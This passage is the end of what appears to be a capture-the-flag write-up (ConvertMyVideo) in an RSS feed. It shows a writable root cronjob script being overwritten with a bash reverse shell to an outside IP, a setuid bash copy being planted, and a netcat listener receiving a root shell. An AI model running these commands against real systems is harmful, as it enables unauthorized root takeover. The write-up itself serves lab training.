clean.sh script as cronjob !!!!</p><p>Let’s modify it www-data have access to modify and get reverse connection with root user.</p><pre>www-data@dmv:/var/www/html/tmp$ echo &quot;bash -i &gt;&amp; /dev/tcp/10.9.4.50/8880 0&gt;&amp;1&quot; &gt; clean.sh<br>&lt;bash -i &gt;&amp; /dev/tcp/10.9.4.50/8880 0&gt;&amp;1 &gt; clean.sh<br>www-data@dmv:/var/www/html/tmp$ cat clean.sh<br>cat clean.sh<br>bash -i &gt;&amp; /dev/tcp/10.9.4.50/8880 0&gt;&amp;1www-data@dmv:/var/www/html/tmp$ echo &quot;cp /bin/bash /tmp/myroot; chmod +s /tmp/myroot&quot; &gt; clean.sh</pre><pre>root@Zain:/home/CTF/ConvertMyVideo$ nc -nlvp 8880<br>Listening on 0.0.0.0 8880<br>Connection received on 10.10.31.144 44068<br>bash: cannot set terminal process group (3448): Inappropriate ioctl for device<br>bash: no job control in this shell<br>root@dmv:/var/www/html/tmp# id<br>id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@dmv:/var/www/html/tmp# </pre><p>Here we got root Privilege.</p><p>Thank you for following :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d52ec7612478" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>